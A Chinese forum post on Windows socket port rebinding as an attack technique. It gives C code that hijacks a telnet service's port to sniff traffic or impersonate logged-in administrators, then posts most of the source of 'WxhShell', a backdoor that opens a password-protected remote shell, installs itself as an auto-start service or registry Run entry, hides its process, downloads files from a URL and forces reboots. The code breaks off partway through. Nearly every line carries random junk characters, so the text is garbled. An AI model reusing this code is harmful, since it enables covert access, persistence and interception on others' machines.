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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c=0S]_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VE`5bD+%e  
lQ {k  
  saddr.sin_family = AF_INET; oYG9i=lZ  
KY~p>Jmh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bx#GOK-  
!uLz%~F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %4*-BCP  
n<+g{QHi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N7v7b<6  
Tu"bbc  
  这意味着什么?意味着可以进行如下的攻击: &!SdO<agZ  
p8aGM-+40W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <%Zg;]2H`  
-W38#_y/\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) omevF>b;  
MqDz cB]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '_N~PoV  
.B_LQ;0:   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jdqVS@SD  
JR] /\(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l 8qCg/ew  
O~?H\2S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .76T<j_  
QpxRYv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 % put=I  
|`B*\\1  
  #include ^lud2x$O^C  
  #include S:aAR*<6  
  #include hLK5s1#K  
  #include    0}tf*M+a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2.)xWCG  
  int main() c5C 2xE}T  
  { 094~  s  
  WORD wVersionRequested; WT;4J<O/  
  DWORD ret; .0+=#G>  
  WSADATA wsaData; :Aj8u\3!@  
  BOOL val; / Vy pN,  
  SOCKADDR_IN saddr; t.Q}V5t{g  
  SOCKADDR_IN scaddr; {Rc mjI7  
  int err; o b;]  
  SOCKET s; X67^@~l  
  SOCKET sc; 5#|D1A  
  int caddsize; X$Eg(^La  
  HANDLE mt; cLhHGwX=x  
  DWORD tid;   u5zL;C3O  
  wVersionRequested = MAKEWORD( 2, 2 ); +}1h  
  err = WSAStartup( wVersionRequested, &wsaData ); ,\8F27  
  if ( err != 0 ) { a@4 Z x  
  printf("error!WSAStartup failed!\n"); p)2 !_0  
  return -1; }%2hBl/  
  } WRrCrXP  
  saddr.sin_family = AF_INET; s2F<H#  
   }.*"ezaZw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jy<hTd*q  
oHh~!#u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1 1Sflj  
  saddr.sin_port = htons(23); m03D+@F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f4[fXP;A  
  { @N+ }cej  
  printf("error!socket failed!\n"); NN> E1d=  
  return -1; "}ibH{$lM  
  } m-T@Og  
  val = TRUE; >2v UFq`H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QiO4fS'~W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d ?Uj3G  
  { <KY \sb9  
  printf("error!setsockopt failed!\n"); @2(7 ZxI  
  return -1; [l# 8}dy  
  } [u*-~(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0n dk=V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .h c-uaL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6="Qwrk  
J)o.@+Q}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c?(;6$A  
  {  #dO8) t  
  ret=GetLastError(); skaPC#u  
  printf("error!bind failed!\n"); k|uW~ I)  
  return -1; 80m<OW1  
  } fhwJ  
  listen(s,2); D@W[Nd5MJ  
  while(1) k65V5lb  
  {  _"0,  
  caddsize = sizeof(scaddr); 7+]+S`p  
  //接受连接请求 ~t=73 fwB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iEx sGn]2  
  if(sc!=INVALID_SOCKET) ]F'o  
  { vC#_PI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fl@=h[g#t  
  if(mt==NULL) x)}.@\&%  
  { )\aCeY8o  
  printf("Thread Creat Failed!\n"); ce56$L8[  
  break; W0-KFo.'  
  } 1 sJtkge:  
  } v[l={am{/  
  CloseHandle(mt); meF.`fh  
  } ,]Gi942  
  closesocket(s); yV.E+~y  
  WSACleanup(); Th.Mn}1%L  
  return 0; wqnrN6$jf  
  }    eeMeV>  
  DWORD WINAPI ClientThread(LPVOID lpParam) sh#hDU/</  
  { \:mZ)f3K=  
  SOCKET ss = (SOCKET)lpParam; wn1` 9  
  SOCKET sc; qX9x#92  
  unsigned char buf[4096]; ~SzHIVj:6  
  SOCKADDR_IN saddr; Nh^ lC  
  long num; iVaCXXf'  
  DWORD val; {u}d`%_.M  
  DWORD ret; ]&b>P ;j:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u=QG%O#B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {)`tN&\  
  saddr.sin_family = AF_INET; XfZ^,' z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1ze\ U>  
  saddr.sin_port = htons(23); @LyCP4   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BT*z^Z H  
  { #jqcUno  
  printf("error!socket failed!\n"); &"gQrBa  
  return -1; B0+r  
  } Z>l%:;H  
  val = 100; 1Zo"Xb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8pXului  
  { /LK,:6  
  ret = GetLastError(); 2%Mgg,/~  
  return -1; D$?}M>  
  } [ !<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Z4o3r[  
  { -bP_jIZF;g  
  ret = GetLastError(); uN;]Fv@Z  
  return -1; O~*`YsL9  
  } P->.eo#VG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b # |  
  { xg.o7-^M  
  printf("error!socket connect failed!\n"); eAl;:0=%L  
  closesocket(sc); w<|Qezi3 w  
  closesocket(ss); q)f-z\  
  return -1; a%YohfsY?U  
  } |& Pa`=sp  
  while(1) }lQ`ka  
  { 4\Q pS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~PZIYG"D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AZH= r S`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]EWEW*'j  
  num = recv(ss,buf,4096,0); w D}g\{P  
  if(num>0) /idrb c  
  send(sc,buf,num,0); 5jey%)=  
  else if(num==0) 0!tw)HR%  
  break; ~Gj%z+<  
  num = recv(sc,buf,4096,0); 'DdR2  
  if(num>0) "6t#   
  send(ss,buf,num,0); pNNvg,hS8  
  else if(num==0) PRi1 `% d  
  break; Dt~ |)L+  
  } .|g|X8X  
  closesocket(ss); s&)>gE\  
  closesocket(sc); 78UE?) X"  
  return 0 ; %0Mvd;#[  
  } @,Kl"i;  
|*5HNP  
aovw'O\Q  
========================================================== L ]Y6/Q   
g4f:K=5:  
下边附上一个代码,,WXhSHELL |r<#>~*  
+t7n6  
========================================================== ?,z/+/:  
_O;2.M%@  
#include "stdafx.h" hd N[wC]  
231,v,X[  
#include <stdio.h> vp4NH]fJ  
#include <string.h> EQ%,IK/  
#include <windows.h> [X^Oxs  
#include <winsock2.h> ZW@%>_JR]  
#include <winsvc.h> 0nsjihw  
#include <urlmon.h> iOrpr,@  
HP(dhsd<c  
#pragma comment (lib, "Ws2_32.lib") [k{2)g  
#pragma comment (lib, "urlmon.lib") b^^ .$Gu  
 3PUyua'  
#define MAX_USER   100 // 最大客户端连接数 c]PG5f xf  
#define BUF_SOCK   200 // sock buffer jnIf (a  
#define KEY_BUFF   255 // 输入 buffer %f1>cO9[  
)WH;G:$&"  
#define REBOOT     0   // 重启 *-`-P  
#define SHUTDOWN   1   // 关机 [ BZA1,  
Ka/*Z4"  
#define DEF_PORT   5000 // 监听端口 d1BE;9*/7  
~5]%+G  
#define REG_LEN     16   // 注册表键长度 sLze/D_M*  
#define SVC_LEN     80   // NT服务名长度 kCHYLv3.  
tl"?AQcBR  
// 从dll定义API yOswqhz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yaix\*II  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LK:Jkjp^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C )J@`E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %DhM}f  
|))O3]-  
// wxhshell配置信息 M37GQvo   
struct WSCFG { /8Ru O  
  int ws_port;         // 监听端口 0WI@BSHnM  
  char ws_passstr[REG_LEN]; // 口令 HY2*5 #T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7'zXf)!  
  char ws_regname[REG_LEN]; // 注册表键名 g:eq B&&  
  char ws_svcname[REG_LEN]; // 服务名 ^\Epz* cL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C @nA*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I%M"I0FV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `'G1"CX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1"wZ [.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?rxq//S2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $2w][ d1  
u3vM!  
}; 9p4=iXfR  
Xj5oHHwn  
// default Wxhshell configuration %$[#/H7=W  
struct WSCFG wscfg={DEF_PORT, .D{He9  
    "xuhuanlingzhe", *W-:]t3CR  
    1, brEA-xNWQ  
    "Wxhshell", u"gtv  
    "Wxhshell", Xkp?)x3~X  
            "WxhShell Service", Sp/<%+2(  
    "Wrsky Windows CmdShell Service", h>"j!|#!s  
    "Please Input Your Password: ", *ry}T=  
  1, -gB9476-  
  "http://www.wrsky.com/wxhshell.exe", ?np3*;lw  
  "Wxhshell.exe" s8.SEk|pB  
    }; !:wA\mAd  
"[dfb#0z`  
// 消息定义模块 O9ar|8y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^m ['VK#?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !2F X l;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %R^*MUTx  
char *msg_ws_ext="\n\rExit."; +3[8EM#g  
char *msg_ws_end="\n\rQuit."; b?K`DUju{0  
char *msg_ws_boot="\n\rReboot..."; Ctx`b[&KXX  
char *msg_ws_poff="\n\rShutdown..."; 5@_kGoqd  
char *msg_ws_down="\n\rSave to "; d1';d6.u\  
Tfp^h~&u  
char *msg_ws_err="\n\rErr!"; /m|U2rrqb  
char *msg_ws_ok="\n\rOK!"; 7S2"e[-x  
%%sJ+)  
char ExeFile[MAX_PATH]; Ajm4q_  
int nUser = 0; 'E"W;#%  
HANDLE handles[MAX_USER]; :nS$cC0x*  
int OsIsNt; u{&#Gci  
2EiE5@  
SERVICE_STATUS       serviceStatus; $X,dQ]M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TW6F9}'f&  
xmi@ XL@t  
// 函数声明 gy Ey=@L  
int Install(void); %J L P=(  
int Uninstall(void); hsHbT^Qm  
int DownloadFile(char *sURL, SOCKET wsh); 8Dkq+H93  
int Boot(int flag); *RM 3 _  
void HideProc(void); L6./5`bs  
int GetOsVer(void); xF6byTi  
int Wxhshell(SOCKET wsl); l5/gM[0_7  
void TalkWithClient(void *cs); B \LmE+a>  
int CmdShell(SOCKET sock); C}qHvwFm  
int StartFromService(void); mXs.@u/  
int StartWxhshell(LPSTR lpCmdLine); IU;a$  
\V#fl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oA?EJ~%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #z+?t  
{zalfw{+  
// 数据结构和表定义 ;;|.qgxc~  
SERVICE_TABLE_ENTRY DispatchTable[] = 4L_)@n}  
{ zbI|3  
{wscfg.ws_svcname, NTServiceMain}, ZeqsXz  
{NULL, NULL} e2yCWolmTS  
}; :gn&wi  
Eh*(N(`  
// 自我安装 jG{OLF6 !  
int Install(void) > f'aW  
{  ejc>  
  char svExeFile[MAX_PATH]; zGNmc7  
  HKEY key; JwQ/A[b  
  strcpy(svExeFile,ExeFile); =~>g--^U  
WbwwI)1  
// 如果是win9x系统,修改注册表设为自启动 wC?$P  
if(!OsIsNt) { /gn!="J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @b!W8c 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i5aY{3!  
  RegCloseKey(key); G@txX '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~@DdN5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !t+ 3DMPn  
  RegCloseKey(key); 4]#$YehM5  
  return 0; 7,zE?KG /  
    } wYr*('uT  
  } 5^K\<+{~B  
} {&J~P&,k  
else { e%EO/ 2"  
@nAl*#M*D  
// 如果是NT以上系统,安装为系统服务 _F5*\tQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( k,?)  
if (schSCManager!=0) zdm2`D;~p  
{  |nfMoUI  
  SC_HANDLE schService = CreateService =*R6 O,  
  ( _+.JTk  
  schSCManager, q ~^!Ck+#*  
  wscfg.ws_svcname, [{`2FR:Cd  
  wscfg.ws_svcdisp, Q' Tg0,,S  
  SERVICE_ALL_ACCESS, '50}QY_R.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,q;?zcC7  
  SERVICE_AUTO_START, u 7:Iv  
  SERVICE_ERROR_NORMAL, yfal'DqKF  
  svExeFile, *E]:VZl  
  NULL, +D2I~hC0'  
  NULL, W>5[_d  
  NULL, _M+7)[xj=  
  NULL, s94 *uZ(C/  
  NULL [r!f&R  
  ); ia(`3r  
  if (schService!=0) "8"aYD_  
  { rzs-c ?  
  CloseServiceHandle(schService); U(LLIyZv  
  CloseServiceHandle(schSCManager); ujzfy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :yRv:`r3Lt  
  strcat(svExeFile,wscfg.ws_svcname); 2$ &B@\WY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QIg'js$W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C T\@>!'f  
  RegCloseKey(key); 7WwE] ^M  
  return 0; b;%t*?t  
    } ?(n v_O  
  } Xdw pn+7s  
  CloseServiceHandle(schSCManager); ,ga6   
} )_1 GPS  
} 2WTOu x*  
s_a jA  
return 1; \EsT1aT  
} tt#dO@G#Fe  
6oKdw|(Q#  
// 自我卸载 'u E;8.,  
int Uninstall(void) .T)wG;+  
{ TkJ[N4'0  
  HKEY key; #f< v%  
aHVzBcCPh  
if(!OsIsNt) { #y[U2s Se  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I~ :gi@OVV  
  RegDeleteValue(key,wscfg.ws_regname); u88wSe<\X  
  RegCloseKey(key); !?v_.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !LzA  
  RegDeleteValue(key,wscfg.ws_regname); !sSq4K  
  RegCloseKey(key); Mc <u?H  
  return 0; & +*OV:[;  
  } X^Z!!KTH  
} z DU=2c4W9  
} loO"[8i.k  
else { L SP p  
'&'m# H*:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9}u,`&  
if (schSCManager!=0) Xjkg7p,HD@  
{ DY9]$h*y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IvT><8<G  
  if (schService!=0) t&:L?K)j  
  { [:FiA?O]  
  if(DeleteService(schService)!=0) { a&V;^ /  
  CloseServiceHandle(schService); DU0/if9.  
  CloseServiceHandle(schSCManager); fGO\f;P  
  return 0; ^lAM /  
  } TS#[[^!S  
  CloseServiceHandle(schService); nYFrp)DLK  
  } FY ms]bv  
  CloseServiceHandle(schSCManager); I#&r5Q  
} ZZ7qSyBs?  
} M `^[Y2 c  
i'7+ ?YL  
return 1; u '7h(1@  
} IHYLM;@L  
dH!z<~  
// 从指定url下载文件 An$2='=/  
int DownloadFile(char *sURL, SOCKET wsh) xC,x_:R`  
{ xEp?|Q$  
  HRESULT hr; Dlq !:dF{&  
char seps[]= "/"; KWZhCS?[(  
char *token; Zym6btc  
char *file; qh:Bc$S  
char myURL[MAX_PATH]; aPVzOBp  
char myFILE[MAX_PATH]; |Ha#2pt{bc  
vWZXb `  
strcpy(myURL,sURL); u0c}[BAF  
  token=strtok(myURL,seps); iN[x *A|h  
  while(token!=NULL) =9X1+x  
  { 68Gywk3]=u  
    file=token; BtZ]~S}v  
  token=strtok(NULL,seps); pYx,*kG:HW  
  } D]]wJQU2  
& cSVOsi  
GetCurrentDirectory(MAX_PATH,myFILE); Ic9L@2m  
strcat(myFILE, "\\"); ,-4NSli  
strcat(myFILE, file); F5Z,Jmi^M  
  send(wsh,myFILE,strlen(myFILE),0); d=PX}o^  
send(wsh,"...",3,0); _r*\ BM8y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jYFJk&c  
  if(hr==S_OK) [/CGV8+  
return 0; a:fP  
else U}RBgPX!  
return 1; UowvkVa  
y %Q. (  
} bI55G#1G  
h 6Z:+  
// 系统电源模块 `8ac;b  
int Boot(int flag) f9W:-00QD  
{ kFv*>>X`  
  HANDLE hToken; gvA}s/   
  TOKEN_PRIVILEGES tkp; wSN9`"  
( Jk& U8y  
  if(OsIsNt) { .9r YBy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /ce;-3+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lwr's'ao.  
    tkp.PrivilegeCount = 1; d+ jX49Vt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uj):}xgi'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +?$J8Paf  
if(flag==REBOOT) { %.Ma_4o Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #i[:oC6m:  
  return 0; > S>*JP  
} L"qJZU  
else { 1f`De`zXzr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  :\\NK/"  
  return 0; :&IHdf0+  
} jYHnJ}<  
  } Dfs*~H 63  
  else { s-$ Wc) l  
if(flag==REBOOT) { dFm_"135  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n m-  
  return 0; j uA@"SG  
} 2 DQVl  
else { c ZYy+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  zm"  
  return 0; RbAl_xKI  
} eV[{c %wN:  
} ;6W]f([  
&h-_|N  
return 1; MJ|tfQwhx  
} c*;oR$VW  
m,k 0 h%  
// win9x进程隐藏模块 r5}p .  
void HideProc(void) um.ZAS_kmc  
{ D&G6^ME  
.a.H aBBV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rH3U;K!  
  if ( hKernel != NULL ) ~"#0rPT  
  { ?veeW6E(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,/\`Rc^n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oY)eN?c  
    FreeLibrary(hKernel); o,*m,Qc  
  } /Y #8.sr  
;@wa\H[3v2  
return; )A8#cY!<  
} DYf QlA  
:_8K8Sa  
// 获取操作系统版本 g3:@90Ba  
int GetOsVer(void) GV0\+A"vD  
{ ;6G]~}>o  
  OSVERSIONINFO winfo; O[ma% E*0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v$y\X3)mB  
  GetVersionEx(&winfo); kE&R;T`Gb%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZISIW!  
  return 1; uY]';Ot G  
  else . g#}2:3  
  return 0; 4uXGp sL  
} X+4Uh I  
9@*pC@I)  
// 客户端句柄模块 h4hAzFQ.s  
int Wxhshell(SOCKET wsl) ?"yjgt7+y  
{ !j6 k]BgZ  
  SOCKET wsh; LT%~C uf  
  struct sockaddr_in client; MhMiSsZ  
  DWORD myID; o?baiOkH  
. >"xp6  
  while(nUser<MAX_USER) '12m4quO  
{ Hn/t'D3  
  int nSize=sizeof(client); E`)e ;^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )s!A\a`vEd  
  if(wsh==INVALID_SOCKET) return 1; ,U{dqw8E{  
+^AdD8U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E{,Wp U  
if(handles[nUser]==0) 2*cNd}qr  
  closesocket(wsh); >ywl()4O  
else 8{>|%M  
  nUser++; T9yI%;D  
  } PaTOlHr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $DDO9  
8-;.Ejz!\A  
  return 0; `oxBIn*BD  
} mI&3y9; (  
rEa(1(I  
// 关闭 socket Ku[q #_7  
void CloseIt(SOCKET wsh) LphCx6f,X  
{ $<-a>~^Tp  
closesocket(wsh); OLG)D#m(4/  
nUser--;  ,$6si  
ExitThread(0); 1I2n dt  
} C6e5*S  
hC$e8t60  
// 客户端请求句柄 Es[3Ppz  
void TalkWithClient(void *cs) lMgguu~qg  
{ J_)F/S!T  
 !XTzsN  
  SOCKET wsh=(SOCKET)cs; #VhdYDbW  
  char pwd[SVC_LEN]; y;az&T  
  char cmd[KEY_BUFF]; q,[;AHb  
char chr[1]; }R* %q  
int i,j; l"J#Pvi  
JAxzXAsAR  
  while (nUser < MAX_USER) { g3ukx$Q{>  
C^$E#|E9N  
if(wscfg.ws_passstr) { )v(rEY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #?Ix6 {R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y>C !cYB  
  //ZeroMemory(pwd,KEY_BUFF); "smU5 s,P  
      i=0; L 0Ckw},,  
  while(i<SVC_LEN) {  KcT(/!  
-o/Vp>_UOE  
  // 设置超时 LuRCkKJ  
  fd_set FdRead; X!hzpg(`hR  
  struct timeval TimeOut; =sW K;`  
  FD_ZERO(&FdRead); 'l<#;{  
  FD_SET(wsh,&FdRead); m+M^we*R  
  TimeOut.tv_sec=8; HL{aqT2  
  TimeOut.tv_usec=0; <8(q.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ftn10TO*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @0@WklAJA  
/R|?v{S1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Da<`| l  
  pwd=chr[0]; xjp0w7L)J  
  if(chr[0]==0xd || chr[0]==0xa) { IfH/~EtX  
  pwd=0; W2<'b05  
  break; 'z9 1aNG]  
  } oyiG04H&  
  i++; n{W(8K6d@[  
    } ,L%]}8EL"  
M[985bl  
  // 如果是非法用户,关闭 socket I!!cA?W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WReHep  
} %Ja0:e  
&t UX(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2?qT,pN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W /v &V#  
0<V/[$}\D  
while(1) { 8}BM`@MG  
1#L%Q(G  
  ZeroMemory(cmd,KEY_BUFF); E!X>C^  
,./ n@.na  
      // 自动支持客户端 telnet标准   2(uh7#Q  
  j=0; ;QVTb3Th  
  while(j<KEY_BUFF) { |QZ E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [VX5r1-F  
  cmd[j]=chr[0]; 0`pCgF  
  if(chr[0]==0xa || chr[0]==0xd) { # ,H!<X;SS  
  cmd[j]=0; r5Q#GY>  
  break; e6*,MnqBh  
  } |Fx *,91  
  j++; (0@b4}Z  
    } I>8_gp\1  
D<70rBf2  
  // 下载文件 F^.]g@g.|  
  if(strstr(cmd,"http://")) { U `lp56  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BJ_"FG  
  if(DownloadFile(cmd,wsh)) jcC"vr'u|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )M8,Tv*~  
  else %4R1rUrgt|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); id,' +<  
  } `#ff`j|a  
  else { jBEW("4R  
o]I8Ghk>/z  
    switch(cmd[0]) { Z6b]EcP)#  
  D\;5{,:d  
  // 帮助 }x#e.}hf&  
  case '?': { JS03B Itt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?}KD<R  
    break; J>M9t%f@  
  } \>9^(N  
  // 安装 P@bPdw!JA  
  case 'i': { 3{qB<*!p"G  
    if(Install()) "C3J[) qC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); By9CliOy:  
    else 7'At_oG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EajJv>X7  
    break; d %FLk=]  
    } W9} ,f  
  // 卸载 r=37Q14v  
  case 'r': { s-IM  
    if(Uninstall()) #Mk3cp^Yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : ^p aI  
    else 5MYdLAjV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #" "T>+  
    break; 1.N2!:&G|  
    } >Q_ '[!S  
  // 显示 wxhshell 所在路径 W8x&:5Fc)3  
  case 'p': { Xhyn! &H5  
    char svExeFile[MAX_PATH]; z&c}  
    strcpy(svExeFile,"\n\r"); Qe!3ae`Z  
      strcat(svExeFile,ExeFile); & E6V'*<93  
        send(wsh,svExeFile,strlen(svExeFile),0); <H#0pFB  
    break; uF[*@N  
    } Xe:rPxZf~  
  // 重启 V$FZVG/@#  
  case 'b': { NB44GP1-@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +BO kHXk1  
    if(Boot(REBOOT)) -awG1 4%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pyX:$j2R+%  
    else { S~H>MtX(<  
    closesocket(wsh); EUh_`R  
    ExitThread(0); x|AND]^Q  
    } .nNZ dta&=  
    break; MSBrI3MqQ  
    } mJ(ElDG  
  // 关机 7;Lv_Y"b  
  case 'd': { pUqNB_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O8>&J-+2  
    if(Boot(SHUTDOWN)) raSga'uT;  
